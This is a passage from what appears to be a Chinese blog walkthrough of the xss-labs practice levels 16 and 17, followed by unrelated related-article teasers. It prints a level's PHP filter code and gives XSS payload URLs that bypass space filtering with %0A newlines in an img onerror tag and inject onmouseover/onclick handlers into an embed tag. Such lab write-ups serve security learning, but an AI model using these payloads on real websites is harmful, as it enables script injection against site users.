Load URL地址:192.168.2.106/xss-labs/level16.php?src=jaden查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","&nbsp;",$str);$str3=str_replace(" ","&nbsp;",$str2);$str4=str_replace("/","&nbsp;",$str3);$str5=str_replace("	","&nbsp;",$str4);echo "<center>".$str5."</center>";?><center><img src=level16.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";?>确认输出//img有输出但是空格被编码了192.168.2.106/xss-labs/level16.php?src=jaden<img src=1 onerror=alter(123)>/'//将空格的编码替换成回车的编码进行尝试%0A回车符号192.168.2.106/xss-labs/level16.php?src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'

Less17_18:embed标签-鼠标事件闭合绕过

embed标签:定义了一个区域,可以放图片、视频、音频等内容 

Load URL地址:192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b查看源码确认输出//发现以src的属性值进行了输出192.168.2.106/xss-labs/level17.php?arg01=a&arg02=bjaden//用onmouseover鼠标事件192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'onmouseover=alter("jaden")//用onmouseover鼠标事件192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'οnclick=alter("jaden")

Less19_20:过时

flash插件技术比较老了,已经全面停用了禁用了,就不做了

相关文章:

[Web安全 网络安全]-XSS跨站脚本攻击

文章目录&#xff1a; 一&#xff1a;前言 1.定义 2.漏洞出现的原因 3.鉴别可能存在XSS漏洞的地方 4.攻击原理 5.危害 6.防御 7.环境 7.1 靶场 7.2 自动扫描工具 7.3 手工测试工具 8.payload是什么 二&#xff1a;常用的标签语法 三&#xff1a;XSS的分类 反射…...

数据库数据恢复—SQL Server附加数据库出现“错误823”怎么恢复数据?

SQL Server数据库故障&#xff1a; SQL Server附加数据库出现错误823&#xff0c;附加数据库失败。数据库没有备份&#xff0c;无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有&#xff1a;数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面…...

Vscode 中新手小白使用 Open With Live Server 的坑

背景 最近在家学习尝试前端项目打包的一些事项&#xff0c;既然是打包&#xff0c;那么肯定就会涉及到对打包后文件的访问&#xff0c;以直观的查看打包后的效果 那么肯定就会使用到 Vscode 中 Open With LIve Server 这个功能了&#xff0c;首先这个是一个叫 Live Server 的…...

【深度学习 transformer】Transformer与ResNet50在自定义数据集图像分类中的效果比较

在深度学习领域&#xff0c;图像分类是一个经典且重要的任务。近年来&#xff0c;Transformer架构在自然语言处理领域取得了显著成功&#xff0c;逐渐被引入计算机视觉任务。与此同时&#xff0c;ResNet50作为一种经典的卷积神经网络&#xff08;CNN&#xff09;&#xff0c;在…...

【系统架构设计师】专业英语90题(附答案详解)

更多内容请见: 备考系统架构设计师-核心总结索引 文章目录 【第1~5题】【第6~10题】【第11~15题】【第16~20题】【第21~25题】【第26~30题】【第31~35题】【第36~40题】【第41~45题】【第46~50题】【第51~55题】【第56~60题】【第61~65题】【第66~70题】【第71~75题】【第76~8…...

ItemXItemEffect | ItemEffect

目录 ItemXItemEffect ItemEffectID ItemID ItemEffect ID TriggerType Charges CoolDownMSec SpellID SpellCategoryID CategoryCoolDownMSec ItemXItemEffect.db2 ItemEffectID 物品效果编号&#xff0c;取值链接 ItemEffect.db2 ItemID 物品 ID ItemEffect.d…...

web 动画库

web动画库 动画领域有一个比较知名的CSS库&#xff1a;Animate.css&#xff0c;它提供了60多种动画&#xff0c;满足一般网页的需求&#xff0c;比如淡入淡出、闪现等等一系列日常动画&#xff0c;不过虽然它能满足日常需求&#xff0c;但是一些复杂的场景就需要靠JS手动去操作…...

我的AI工具箱Tauri版-MicrosoftTTS文本转语音

本教程基于自研的AI工具箱Tauri版进行MicrosoftTTS文本转语音服务。 MicrosoftTTS文本转语音服务 是自研的AI工具箱Tauri版中的一款功能模块&#xff0c;专为实现高效的文本转语音操作而设计。通过集成微软TTS服务&#xff0c;用户可以将大量文本自动转换为自然流畅的语音文件…...

【Webpack--013】SourceMap源码映射设置

&#x1f913;&#x1f60d;Sam9029的CSDN博客主页:Sam9029的博客_CSDN博客-前端领域博主 &#x1f431;‍&#x1f409;若此文你认为写的不错&#xff0c;不要吝啬你的赞扬&#xff0c;求收藏&#xff0c;求评论&#xff0c;求一个大大的赞&#xff01;&#x1f44d;* &#x…...

创新驱动,技术引领:2025年广州见证汽车电子技术新高度

汽车行业的创新浪潮正汹涌澎湃&#xff0c;一场引领未来出行的科技盛宴即将拉开帷幕&#xff01; AUTO TECH 2025 第十二届广州国际汽车电子技术展览会将于 2025 年 11 月 20日至 22 日在广州保利世贸博览馆&#xff08;PWTC Expo&#xff09;隆重举行。 作为亚洲地区领先的汽…...

Spring Boot框架在心理教育辅导系统中的应用案例

目 录 摘 要 I ABSTRACT II 1绪 论 1 1.1研究背景 1 1.2设计原则 1 1.3论文的组织结构 2 2 相关技术简介 3 2.1Java技术 3 2.2B/S结构 3 2.3MYSQL数据库 4 2.4Springboot框架 4 3 系统分析 6 3.1可行性分析 6 3.1.1技术可行性 6 3.1.2操作可行性 6 3.1.3经济可行性 6 3.1.4法律…...

Shiro-550—漏洞分析(CVE-2016-4437)

文章目录 漏洞原理源码分析加密过程解密过程 漏洞复现 漏洞原理 Shiro-550(CVE-2016-4437)反序列化漏洞 在调试cookie加密过程的时候发现开发者将AES用来加密的密钥硬编码了&#xff0c;并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie&#xff0c;然后让后台最…...

【例题】lanqiao4425 咖啡馆订单系统

样例输入 3 2 2 1 3 1 2样例输出 3 2样例说明 输入的数组为&#xff1a;【3&#xff0c;1&#xff0c;2】 增量序列为&#xff1a;【2&#xff0c;1】 当增量 h2&#xff1a;对于每一个索引 i&#xff0c;我们会将数组元素 arr[i] 与 arr[i−h] 进行比较&#xff0c;并进行可…...

从小白到大神:C语言预处理与编译环境的完美指南(下)

从小白到大神&#xff1a;C语言预处理与编译环境的完美指南&#xff08;上&#xff09;-CSDN博客 &#x1f446;&#x1f446;&#x1f446;&#x1f446;&#x1f446;&#x1f446;上篇链接在这~~&#x1f446;&#x1f446;&#x1f446;&#x1f446;&#x1f446;&#x…...

3657A/B/AM/BM矢量网络分析仪

苏州新利通 3657A/B/AM/BM 矢量网络分析仪 3657系列矢量网络分析仪适用于无线通信、有线电视、教育及汽车电子等领域&#xff0c;可用于对滤波器、放大器、天线、电缆、有线电视分接头等射频元件的性能测量。该产品采用Windows操作系统&#xff1b;具有误差校准功能、时域功能…...

卸载完mathtype后,删除word加载项中的mathtype

请参考博客“卸载完mathtype后&#xff0c;word加载项中还是有mathtype的解决方法_怎么删除word加载项里的mathtype-CSDN博客”以及 “安装卸载MathType经验解决MathType DLL找不到的问题——超实用_mathtype dll cannot-CSDN博客” 如果在删除.dotm文件时&#xff0c;删不掉…...

vue 实现tab菜单切换

1、目标&#xff1a; 实现切换tab菜单&#xff0c;激活状态&#xff0c;按钮高亮&#xff0c;显示对应的菜单内容 2、实现 <template><div class"tan_menu"><ul class"container"><liclass"item"v-for"item in tab…...

大数据Flink(一百二十):Flink SQL自定义函数(UDF)

文章目录 Flink SQL自定义函数&#xff08;UDF&#xff09; 一、概述 二、​​​​​​​自定义标量函数&#xff08;UDSF&#xff09; 三、​​​​​​​​​​​​​​自定义聚合函数(UDAF) 四、 ​​​​​​​​​​​​​​自定义表值函数(UDTF) Flink SQL自定义函数…...

【图像检索】基于灰度共生矩的纹理图像检索,matlab实现

博主简介&#xff1a;matlab图像代码项目合作&#xff08;扣扣&#xff1a;3249726188&#xff09; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 本次案例是基于灰度共生矩的纹理图像检索&#xff0c;用matlab实现。 一、案例背景和算法介绍 …...

【操作系统】02.深入理解操作系统

一、操作系统的定位 任何计算机系统都包含一个基本的程序集合&#xff0c;称为操作系统(OS)。笼统的理解&#xff0c;操作系统包括操作系统内核和其他程序。 由上述的宏观图其实我们就知道&#xff1a;操作系统是一款进行软硬件资源管理的软件。 二、设计操作系统的目的 操…...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

1.3 VSCode安装与环境配置

进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件&#xff0c;然后打开终端&#xff0c;进入下载文件夹&#xff0c;键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...

C++.OpenGL (10/64)基础光照(Basic Lighting)

基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...

大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计

随着大语言模型&#xff08;LLM&#xff09;参数规模的增长&#xff0c;推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长&#xff0c;而KV缓存的内存消耗可能高达数十GB&#xff08;例如Llama2-7B处理100K token时需50GB内存&a…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

Python 实现 Web 静态服务器(HTTP 协议)

目录 一、在本地启动 HTTP 服务器1. Windows 下安装 node.js1&#xff09;下载安装包2&#xff09;配置环境变量3&#xff09;安装镜像4&#xff09;node.js 的常用命令 2. 安装 http-server 服务3. 使用 http-server 开启服务1&#xff09;使用 http-server2&#xff09;详解 …...

python爬虫——气象数据爬取

一、导入库与全局配置 python 运行 import json import datetime import time import requests from sqlalchemy import create_engine import csv import pandas as pd作用&#xff1a; 引入数据解析、网络请求、时间处理、数据库操作等所需库。requests&#xff1a;发送 …...

永磁同步电机无速度算法--基于卡尔曼滤波器的滑模观测器

一、原理介绍 传统滑模观测器采用如下结构&#xff1a; 传统SMO中LPF会带来相位延迟和幅值衰减&#xff0c;并且需要额外的相位补偿。 采用扩展卡尔曼滤波器代替常用低通滤波器(LPF)&#xff0c;可以去除高次谐波&#xff0c;并且不用相位补偿就可以获得一个误差较小的转子位…...

规则与人性的天平——由高考迟到事件引发的思考

当那位身着校服的考生在考场关闭1分钟后狂奔而至&#xff0c;他涨红的脸上写满绝望。铁门内秒针划过的弧度&#xff0c;成为改变人生的残酷抛物线。家长声嘶力竭的哀求与考务人员机械的"这是规定"&#xff0c;构成当代中国教育最尖锐的隐喻。 一、刚性规则的必要性 …...

针对药品仓库的效期管理问题,如何利用WMS系统“破局”

案例&#xff1a; 某医药分销企业&#xff0c;主要经营各类药品的批发与零售。由于药品的特殊性&#xff0c;效期管理至关重要&#xff0c;但该企业一直面临效期问题的困扰。在未使用WMS系统之前&#xff0c;其药品入库、存储、出库等环节的效期管理主要依赖人工记录与检查。库…...